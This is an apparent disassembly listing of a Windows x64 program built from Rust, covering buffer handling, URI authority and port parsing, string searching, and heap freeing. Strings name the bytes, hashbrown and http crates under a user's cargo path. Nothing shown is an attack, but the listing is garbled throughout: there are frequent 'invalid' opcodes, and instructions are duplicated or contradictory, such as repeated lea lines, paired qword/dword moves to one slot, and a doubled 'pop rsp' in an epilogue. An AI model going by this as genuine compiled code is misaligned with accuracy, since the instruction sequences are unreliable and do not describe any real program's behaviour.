jmp 0x140022b06
add byte [rax], al
add cl, ch
mov eax, 0x48000000
invalid
lea rax, [0x140144da4]
lea eax, [0x140144da4]
and edx, dword [rdx]
add byte [rax - 0x77], cl
and al, 0x28
invalid
mov qword [rsp + 0x28], rax
sub byte [rax + 0x25], bh
mov eax, 0x25
jmp 0x140022b06
add byte [rax], al
lea rax, [0x140144dc9]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov eax, 0x1e
jmp 0x140022b06
lea rax, [0x140144e4e]
and edx, dword [rdx]
add byte [rax - 0x77], cl
and al, 0x28
adc al, byte [rax]
mov qword [rsp + 0x28], rax
mov eax, 0x36
jmp 0x140022b06
lea rax, [0x140144d82]
adc al, byte [rax]
mov qword [rsp + 0x28], rax
mov eax, 0x22
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
lea rax, [0x140144e11]
lea rax, [0x140144e11]
lea rax, [0x140144e11]
mov qword [rsp + 0x28], rax
mov eax, 0x26
add byte [rax], al
add bl, ch
push rbx
add byte [rax], al
add bl, ch
push rbx
lea rax, [0x140144f81]
mov qword [rsp + 0x28], rax
mov eax, 0x1a
jmp 0x140022b06
lea rax, [0x140144e37]
jmp 0x140022ae9
lea rax, [0x140144ecc]
mov qword [rsp + 0x28], rax
mov eax, 0x56
jmp 0x140022b06
lea rax, [0x140144e84]
mov qword [rsp + 0x28], rax
mov eax, 0x17
invalid
add byte [rax], al
add bl, ch
invalid
invalid
mov dword [rsp + 0x28], eax
mov eax, 0xe
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x140031b60]
mov qword [rsp + 0x40], rax
lea rax, [0x14018eb28]
invalid
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
call fcn.140009870
nop
add rsp, 0x78
ret
int3
and al, 0x20
mov rdx, rdi
mov r8, rbx
call fcn.14000a170
cmp dword [rsp + 0x20], 1
jne 0x140022bc9
mov r15, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rax, qword [r14]
add r14, 0x18
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call qword [rax + 0x10]
xor eax, eax
mov rdi, r15
mov rbx, r12
jmp 0x140022bd9
mov rax, qword [r14]
test rax, rax
je 0x140022bd9
mov rcx, qword [r14 + 0x18]
mov qword [rsi + 0x18], rcx
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rbx
mov qword [rsi], rax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
cmp eax, esi
or al, 0x38
add byte [rbp + 0x55], dh
add byte [rax], al
add byte [rbp + 0x2a], dh
pop rdi
cmp rax, rcx
jne 0x14002304a
mov edx, 0x40
mov rcx, r14
call fcn.1400087c0
mov rcx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
sub rax, rcx
add rcx, qword [r14]
cmp rax, r12
cmovae rax, r12
mov r15, rsi
sub r15, rbp
cmp rax, r15
cmovb r15, rax
lea rdx, [rdi + rbp]
mov r8, r15
call fcn.140121660
mov rcx, qword [r14 + 8]
add rcx, r15
mov qword [rsp + 0x28], rcx
mov rax, qword [r14 + 0x10]
cmp rcx, rax
ja 0x1400230ac
add rbp, r15
mov qword [r14 + 8], rcx
sub r12, r15
mov qword [rbx + 8], r12
cmp rbp, rsi
cmc
cmc
jb 0x140023030
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rax
lea rax, str.new_len____capacity_
mov ss, word gs:[rbx]
add byte [rax - 0x77], cl
and al, 0x58
mov ss, word gs:[rbx]
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x70], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x138e54
lea rcx, [rsp + 0x58]
call fcn.1401224d0
invalid
add byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x28], rsi
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x50
and al, 0x50
lea rax, [rsp + 0x50]
and al, 0x50
push rax
mov qword [rsp + 0x30], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
and al, 0x48
lea rax, [0x140145580]
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
push 0x2444c748
jo 0x14002316d
mov qword [rsp + 0x70], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_buf_mut.rsbuffer_overflow__remaining____src_
sub esp, dword [rdx + rdx]
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x12242b
sub esp, dword [rdx + rdx]
invalid
and al, 0x12
add byte [rax - 0x73], cl
and al, 0x58
lea rcx, [rsp + 0x58]
call fcn.1401224d0
int3
insb byte [rdi], dx
and al, 0x50
out 0x25, eax
adc al, byte [rax]
add byte [rax - 0x39], cl
loopne 0x1400231aa
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
call 0xcd17bef8
and eax, 0x8d480012
shr r8b, 1
adc al, 0xf3
invalid
str esp
str esp
int3
insb byte [rdi], dx
and al, 0x20
mov rdx, rcx
mov ecx, 0x10
add byte [rax], al
add al, ch
invalid
out dx, eax
invalid
invalid
str esp
int3
int3
lea rax, str.Hash_table_capacity_overflow
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
add byte [rax], al
and al, 0x30
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 8
and al, 0x38
or byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhashbrown_0.14.3_src_rawmod.rs
adc al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
call fcn.1401224d0
int3
int3
int3
int3
int3
int3
mov rcx, qword [rcx]
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
int3
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
push rax
mov rax, qword [rdx + 8]
mov r8, qword [rdx + 0x10]
adc byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
adc byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
mov ebp, 0x45000000
add byte [rax], al
add byte [rbp + 0x31], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
test byte [rbp + rcx*4 + 0x3d], 0xe4
cmp eax, 0x1225e4
lea r12, [0x140192560]
xor r14d, r14d
lea r15, [0x14014586c]
cmp eax, 0x1225e4
lea r12, [0x140192560]
xor edi, edi
xor ebx, ebx
xor r11d, r11d
xor esi, esi
xor r9d, r9d
jmp 0x1400232b8
fstp xword [rsi + 1]
mov qword [rsp], r9
or al, 0x24
or al, 0x24
xor r14d, r14d
inc r9
cmp r8, r9
je 0x140023340
invalid
mov byte [rax], al
add byte [rax], al
test byte [rax + 0x46000000], cl
movzx ebp, byte [rax + rcx]
movzx r13d, byte [rax + r9]
movzx ebp, byte [r13 + r15]
lea r10d, [rbp - 0x23]
cmp r10d, 0x3a
cmp dh, byte [rdi + 0x23]
cmp dh, byte [rdi + 0x23]
movsxd r10, dword [r12 + r10*4]
add r10, r12
jmp r10
cmp r14d, 7
ja 0x1400233ac
inc r14d
jmp 0x1400232ac
nop dword cs:[rax + rax]
test ebp, ebp
jne 0x1400232ac
mov r11b, 1
cmp r13b, 0x25
je 0x1400232ac
jmp 0x1400233a8
movabs al, byte [0x850f01c3f6000000]
xchg edi, eax
add byte [rax], al
add byte [rbp + 0x31], al
invalid
mov bpl, 9
jmp 0x1400233af
mov r9, r8
cmp dil, bl
setne r10b
cmp r14d, 2
setae bl
or bl, r10b
mov bpl, 2
mov rdi, qword [rsp]
jne 0x1400233af
test rsi, rsi
setne r10b
mov rsi, r9
add rsi, 0xffffffffffffffff
setb bl
and bl, r10b
cmp rdi, rsi
sete r10b
and r10b, bl
or r10b, r11b
test r10b, 1
jne 0x1400233af
cmp r9, r8
jne 0x1400233a8
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
add rsp, 8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ebp, ebp
jmp 0x1400233af
mov bpl, 2
mov byte [rcx + 8], bpl
mov qword [rcx], 0
mov rcx, qword [rdx]
mov r9, qword [rcx + 0x10]
add rdx, 0x18
mov rcx, rdx
mov rdx, rax
add rsp, 8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp r9
mov r10d, eax
xor r10b, 1
cmp al, 1
setne r8b
mov eax, r10d
add r9, r11
je 0x14002371c
cmp r9, rdx
jae 0x140023620
shl r11d, 6
and r10b, 0x3f
movzx r10d, r10b
or r10d, r11d
fiadd dword [rcx - 0xa]
rol byte [rcx], 0x75
push rbp
fiadd dword [rcx - 0xa]
rol byte [rcx], 0x75
push rbp
mov r11, 0xffffffffffffffff
cmp r10d, 0x80
jb 0x1400235f0
mov r11, 0xfffffffffffffffe
mov ebx, 0xfffffffe
cmp r10d, 0x800
jb 0x1400235f0
xor r11d, r11d
cmp r10d, 0x10000
setb r11b
or r11, 0xfffffffffffffffc
or ebx, 0xfffffffc
or ebx, 0xfffffffc
jmp 0x1400235f0
dec dword [rbx + rcx*4 + 0x74]
and al, 0x38
jmp 0x140023722
pop rax
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x48]
inc r9
je case.0x14001af4a.193
cmp r9, rbx
jae 0x14002379c
cmp byte [r15 + r9], 0xbf
jle case.0x14001b078.152
mov al, 0
add byte [rax], al
mov edi, 0xb08e0f
mov al, 0
add byte [rax], al
sub rbx, r9
je 0x140023722
add r15, r9
cmp rbx, 1
jne 0x14002373d
movzx eax, byte [r15]
cmp eax, 0x2b
je 0x140023722
mov eax, 1
mov rcx, r15
stc
add byte [rcx + rcx*4 - 7], cl
cmp eax, 0x2d
je 0x140023722
jmp 0x1400237cb
add byte [rcx - 0xa], al
test r8b, 1
jne 0x14002378d
rol byte [rcx], 0x75
imul ecx, dword [rcx - 0x39], 6
add byte [rax], al
add byte [rax], al
mov qword [r14], 0
add rsp, 0xc8
add esp, 0xc8
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [r15], 0x2b
jne 0x1400237bf
lea r8, [rbx - 1]
cmp rbx, 6
jb 0x1400237cb
xor r9d, r9d
mov r10w, 0xa
xor eax, eax
nop dword [rax + rax]
ror byte [rdi], 0x1f
add byte [rax], r8b
cmp r8, r9
je case.0x14001a902.174
add byte [rax], al
add byte [rsi + 0x41], ah
mul edx
add byte [rax], al
mul r10w
seto r11b
movzx edx, byte [rcx + r9]
or dword [rbx - 0x57c2f3e], eax
or dword [rdi - 0x5c], esi
or dword [rbx - 0x57c2f3e], eax
or dword [rdi - 0x5c], esi
test r11b, r11b
jne 0x140023722
lahf
inc r9
add ax, dx
jae 0x140023760
jmp 0x140023722
add dword [rax], eax
add byte [rax], al
cmp r9, rbx
jb case.0x14001aeff.187
je case.0x14001af4a.193
push rax
invalid
dec dword [rax - 0x73]
add eax, 0x1221c7
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_authority.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov ecx, edi
mov rdx, rbx
mov r8, r9
mov r9, rbx
call fcn.140122bb0
str word [rcx + rcx*4 - 7]
str word [rcx + rcx*4 - 7]
mov r8, rbx
cmp rbx, 5
sti
invalid
jae 0x140023751
invalid
sti
add eax, 0xd2318673
xchg byte [rcx], dh
invalid
xchg byte [rcx], dh
sal byte [rcx], cl
xor edx, edx
xor eax, eax
nop
rcl byte [rax + 0xcb60f44], 0x11
movzx r9d, byte [rcx + rdx]
add r9d, 0xffffffd0
cmp r9d, 9
stc
or dword [rdi], ecx
xchg dword [rdi], edi
invalid
invalid
invalid
stc
or dword [rdi], ecx
xchg dword [rdi], edi
invalid
add eax, eax
lea eax, [rax + rax*4]
add al, 0x80
add al, 0x80
add eax, r9d
add eax, ecx
inc rdx
cmp r8, rdx
jne 0x1400237d0
mov qword [r14], r15
mov qword [r14 + 8], rbx
mov word [r14 + 0x10], ax
jmp 0x140023729
invalid
invalid
invalid
add eax, 0x13fea5
mov rcx, r11
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.140122580
push 0xffffffffffffffed
str word [rbp + rcx*4 + 5]
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rcx, r10
stosd dword [rdi], eax
invalid
add byte [rcx + rcx*4 - 0x2f], cl
call fcn.140122580
add rcx, r9
cmp rdx, rcx
cmova rcx, rdx
retf 0x8d4c
add eax, 0x13fe62
invalid
invalid
adc eax, dword [rax]
call fcn.140122580
retf 0x8d4c
invalid
cmp rcx, rax
cmovbe rcx, rax
cmovbe ecx, eax
cmovbe ecx, eax
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rdx, rax
call fcn.140122580
invalid
in eax, dx
str word [rax - 0x73]
add eax, 0x13fea8
invalid
in eax, dx
str word [rax - 0x73]
add eax, 0x13fea8
mov qword [rsp + 0x20], rax
and al, 0x20
xor r8d, r8d
call fcn.140122bb0
int3
int3
int3
cmp rax, qword [rdx + 0x10]
jne 0x14002390f
test rax, rax
je 0x140023914
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
mov rcx, qword [rcx + 8]
movzx r8d, byte [rcx]
movzx r9d, byte [rdx]
lea r10d, [r8 - 0x41]
cmp r10b, 0x1a
cli
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret 0xc041
loop 0x1400238ae
lea r11d, [r9 - 0x41]
lea ebx, [rcx - 0x41]
cli
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret 0xc041
lea ebx, [rcx - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r10b, r8b
ret 0x845
retf
cmp r10b, r11b
jne 0x14002390f
ret 0x845
retf
lea r9, [rax - 1]
xor r8d, r8d
nop dword [rax + rax]
cmp r9, r8
je 0x140023919
movzx r10d, byte [rcx + r8 + 1]
movzx r11d, byte [rdx + r8 + 1]
pop rsp
add al, byte [rcx]
pop rsp
add al, byte [rcx]
lea esi, [r10 - 0x41]
cmp sil, 0x1a
setb bl
shl bl, 5
lea esi, [r11 - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
or bl, r10b
or sil, r11b
inc r8
cmp bl, sil
je 0x1400238d0
jmp 0x14002391c
xor eax, eax
pop rbx
pop rsi
ret
mov al, 1
pop rbx
pop rsi
ret
mov r8, rax
cmp r8, rax
setae al
pop rbx
pop rsi
ret
invalid
xor ebx, ebx
inc rax
cmp r8, rax
je 0x1400239ff
movzx r12d, byte [rdx + rax]
movzx r13d, byte [r12 + r14]
lea ebp, [r13 - 0x23]
cmp ebp, 0x3a
ja 0x1400239b0
movsxd r12, dword [r15 + rbp*4]
add r12, r15
jmp r12
test r13d, r13d
jne 0x140023971
mov r10b, 1
cmp r12b, 0x25
je 0x140023971
add dword [rcx - 0x80], eax
cld
and eax, 0x9ce9b374
add byte [rax], al
add byte [rax - 0x4b], al
add al, byte [rax - 0xa]
mov byte [rcx], 0xf
test byte [rcx + 0x40000000], dl
test bh, 1
jne 0x140023a61
jmp 0x140023a5f
xor r10d, r10d
mov dil, 1
jmp 0x14002396f
mov rax, r8
cmp sil, dil
setne sil
cmp ebx, 2
setae bl
or bl, sil
mov bpl, 2
jne 0x140023a61
test r11, r11
setne r11b
mov rsi, rax
add rsi, 0xffffffffffffffff
setb bl
and bl, r11b
fisttp dword [rcx + 0x39]
int1
fisttp dword [rcx + 0x39]
int1
sete r9b
and r9b, bl
or r9b, r10b
test r9b, 1
jne 0x140023a61
cmp rax, r8
jne 0x140023a54
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140007d10
mov byte [rcx + 8], 0
jmp 0x140023a65
xor ebp, ebp
mov byte [rcx + 8], bpl
mov qword [rcx], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], al
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rcx - 1], cl
ror dword [rdi], 0x85
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx], dh
xor edx, edx
jmp 0x140023c17
add byte [rax], al
add byte [rax], al
and al, 0x38
add byte [rdx], bh
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
add byte [rax], 0
add byte [rax - 0x77], cl
ret 0x68e8
add byte [rax - 0x73], cl
or eax, 0x121d85
add byte [rbp + rcx*4 + 5], cl
mov dh, 0x1d
adc al, byte [rax]
add byte [rdi + rax + 0x31], dh
shr cl, 0x3c
add dword [rax], eax
add byte [rax - 0x77], cl
iretd
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x20], rax
mov rbp, qword [rdi + 0x18]
mov r13, qword [rdi + 0x20]
mov rbx, qword [rdi + 0x28]
sub byte [rcx + rdi - 0x15], cl
sub byte [rcx + rdi - 0x15], cl
setb al
cmp rbx, rbp
seta cl
or cl, al
je 0x140023d35
mov byte [rdi + 0x41], 1
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
sub rdx, rcx
mov rax, qword [rsp + 0x20]
add rax, rcx
jmp 0x140023df9
rol dword [rax], 1
add byte [rax], al
cmp byte [rdi + 0x41], 1
jne 0x140023cc6
xor eax, eax
jmp 0x140023df9
lea rax, [rdi + 0x30]
mov qword [rsp + 0x28], rax
movzx r14d, byte [rdi + 0x38]
lea rax, [r14 - 1]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x20]
lea r12, [rax + r13]
nop word cs:[rax + rax]
sub rbx, r13
movzx ecx, byte [rdi + r14 + 0x2f]
mov rdx, r12
mov r8, rbx
call fcn.14000d910
cmp rax, 1
jne 0x140023dd4
mov rbx, rdx
add rbx, r13
mov rsi, rbx
sub rsi, qword [rsp + 0x30]
xor byte [rdx + 0x33], dh
xor byte [rdx + 0x33], dh
mov r15, rsi
add r15, r14
setb al
cmp r15, rbp
seta cl
or cl, al
jne 0x140023dbd
cmp r14b, 5
jae 0x140023e0a
mov rax, qword [rsp + 0x20]
lea rcx, [rax + rsi]
mov rdx, qword [rsp + 0x28]
mov r8, r14
call fcn.1401220a0
test eax, eax
invalid
je 0x140023de2
sal byte [rbp + riz + 0x48], 0x89
pop rdi
sub byte [rax + 0x39], cl
invalid
invalid
mov qword [rdi + 0x28], rbx
cmp rbx, rbp
ja 0x140023ceb
jmp 0x140023dd4
cmp rbx, r13
jae 0x140023d60
jmp 0x140023ceb
mov qword [rdi + 0x28], r13
test al, 1
je 0x140023ceb
jmp 0x140023de6
mov qword [rdi + 0x28], rsi
mov rdx, qword [rdi + 8]
sub rdx, r15
mov qword [rdi + 8], rsi
mov rax, qword [rsp + 0x20]
add rax, r15
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov edx, 4
add byte [rdx + 4], bh
mov rcx, r14
call fcn.1401225f0
int3
mov esp, dword [rdx + 0x10]
mov r15, qword [rdx + 0x18]
cmp r15, r12
cmp edi, esp
cmp edi, esp
setb al
cmp r15, r13
seta r8b
or r8b, al
jne 0x140024033
movabs rax, 0x101010101010100
add dword [rcx], eax
add dword [rcx], eax
lea r8, [rdx + 0x20]
mov qword [rsp + 0x38], r8
mov rbp, qword [rdx]
movzx r14d, byte [rdx + 0x28]
movzx edi, byte [rdx + r14 + 0x1f]
lea rsi, [rax + 1]
imul rsi, rdi
lea rax, [rbp + 8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
xor r11d, r11d
mov r8, r15
sub r8, r12
lea rax, [r12 + rbp]
cmp r8, 0xf
ja 0x140023ed0
cmp r15, r12
je 0x14002402f
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], dil
je 0x140023fd3
inc r10
cmp r8, r10
jne 0x140023eb0
jmp 0x14002402f
lea r9, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, rax
jne 0x140023f50
invalid
jae 0x140023f26
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], r13
sub byte [rbp - 0x73], cl
push rax
invalid
xor r9d, r9d
xor ecx, ecx
sub byte [rbp - 0x73], cl
push rax
invalid
xor ecx, ecx
mov r11, qword [rsp + 0x40]
add r11, r12
add r11, r12
nop dword [rax + rax]
add byte [rax], al
mov rbx, qword [r11 + r9 - 8]
xor rbx, rsi
mov r14, qword [r11 + r9]
xor r14, rsi
movabs rbp, 0x101010101010100
mov r13, rbp
sub r13, r14
or r13, r14
sub rbp, rbx
fisttp qword [rax + 9]
invalid
fisttp qword [rax + 9]
fisttp qword [rax - 0x45]
add byte [rax - 0x7f7f7f80], 0x80
or byte [rax + 0x21], 0xdd
or ebp, ebx
movabs rbx, 0x8080808080808080
and rbp, rbx
and rbp, r13
cmp rbp, rbx
jne 0x140023f90
add r9, 0x10
cmp r9, r10
jbe 0x140023f00
jmp 0x140023f90
xor r10d, r10d
nop word cs:[rax + rax]
invalid
add byte [rdx + 0x38], al
cmp al, 0x10
cmp byte [rax + r10], dil
je 0x140023fd3
inc r10
cmp r9, r10
jne 0x140023f60
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], r13
lea r10, [r8 - 0x10]
cmp r9, r10
jbe 0x140023ef3
nop word [rax + rax]
cmp r9, r8
mov r13, qword [rsp + 0x28]
mov r11d, 0
mov r14, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
insb byte [rdi], dx
and al, 0x30
je 0x14002402f
add byte [rax], al
add byte [rcx + rax - 0x38], cl
add rax, r9
mov r8, r15
sub r8, r9
sub r8, r12
xor r10d, r10d
nop dword [rax]
cmp byte [rax + r10], dil
je 0x140023fd0
inc r10
cmp r8, r10
jne 0x140023fc0
jmp 0x14002402f
add r10, r9
add r12, r10
inc r12
mov qword [rdx + 0x10], r12
mov rbx, r12
sub rbx, r14
jb 0x14002401f
cmp r12, r13
ja 0x14002401f
invalid
xor eax, 0x24548948
sub byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
cmp r14b, 5
jae 0x14002405a
lea rcx, [rbx + rbp]
mov rdx, qword [rsp + 0x38]
mov r8, r14
call fcn.1401220a0
test eax, eax
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r11d, 0
je 0x14002404a
cmp r15, r12
jb 0x140024036
cmp r15, r13
jbe 0x140023e87
jmp 0x140024036
mov qword [rdx + 0x10], r15
xor r11d, r11d
mov qword [rcx], r11
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], r12
mov r11d, 1
jmp 0x140024036
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov edx, 4
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
call fcn.1401225f0
int3
mov rsi, rdx
mov rax, qword [rcx]
mov qword [rsp + 0x38], rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x14015d4fc]
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
jp 0x1400240f3
invalid
dec dword [rax - 0x73]
and al, 0x20
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140024155
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
jp 0x1400240f3
invalid
invalid
mov al, 1
test dl, 1
ret 0x7501
pop rbx
ret 0x7501
cmp rcx, 1
jne 0x140024159
mov rsi, qword [rsp + 0x28]
cmp byte [rsp + 0x31], 0
je 0x14002415e
test byte [rsi + 0x34], 4
jne 0x14002415e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
je 0x14002415e
jmp 0x140024176
mov eax, edx
jmp 0x140024176
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x40
pop rsi
ret
push rdi
push rbx
sub rsp, 0x40
mov rsi, rdx
movzx eax, byte [rdx]
mov rbx, qword [rdx + 0x10]
cmp al, 3
jne 0x140024202
test rbx, rbx
sete al
mov rdx, qword [rsi + 0x30]
test rdx, rdx
sete r8b
rol byte [rcx + 8], 0xc0
rol byte [rcx + 8], 0xc0
je 0x14002429b
add byte [rax], al
xor eax, eax
test rbx, rbx
jne 0x14002422a
xorps xmm0, xmm0
mov r8d, 1
lea rbx, [0x140145a40]
test rdx, rdx
jne 0x140024237
sal byte [rbp + 0x4c], cl
xorps xmm1, xmm1
mov r9w, 0xffff
mov r10d, 1
lea rdx, [0x140145a40]
jmp 0x140024258
test rbx, rbx
je 0x1400242a2
mov rdx, qword [rsi + 0x30]
test rdx, rdx
je 0x140024316
mov r8, qword [rsi + 1]
mov r9, qword [rsi + 8]
mov qword [rsp + 0x37], r9
mov qword [rsp + 0x30], r8
mov r8, qword [rsi + 0x18]
movups xmm0, xmmword [rsi + 0x20]
test rdx, rdx
je 0x1400241eb
mov r10, qword [rsi + 0x38]
movups xmm1, xmmword [rsi + 0x40]
movzx r9d, word [rsi + 0x50]
movzx r11d, word [rsi + 0x56]
mov word [rsp + 0x2c], r11w
sub al, 0x44
mov ebx, dword [rsi + 0x52]
mov dword [rsp + 0x28], r11d
mov byte [rcx], al
mov rax, qword [rsp + 0x30]
mov r11, qword [rsp + 0x37]
mov qword [rcx + 1], rax
mov qword [rcx + 8], r11
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], r8
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rdx
mov qword [rcx + 0x38], r10
movups xmmword [rcx + 0x40], xmm1
adc dword [rcx + 0x40], ecx
adc dword [rcx + 0x40], ecx
mov word [rcx + 0x50], r9w
mov eax, dword [rsp + 0x28]
mov dword [rcx + 0x52], eax
movzx eax, word [rsp + 0x2c]
mov word [rcx + 0x56], ax
jmp 0x14002430d
mov word [rcx], 0x503
jmp 0x1400242db
mov dl, 6
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
jne 0x1400242d6
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
lea ecx, [rdi + 0x18]
lea ecx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x1400242ea
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
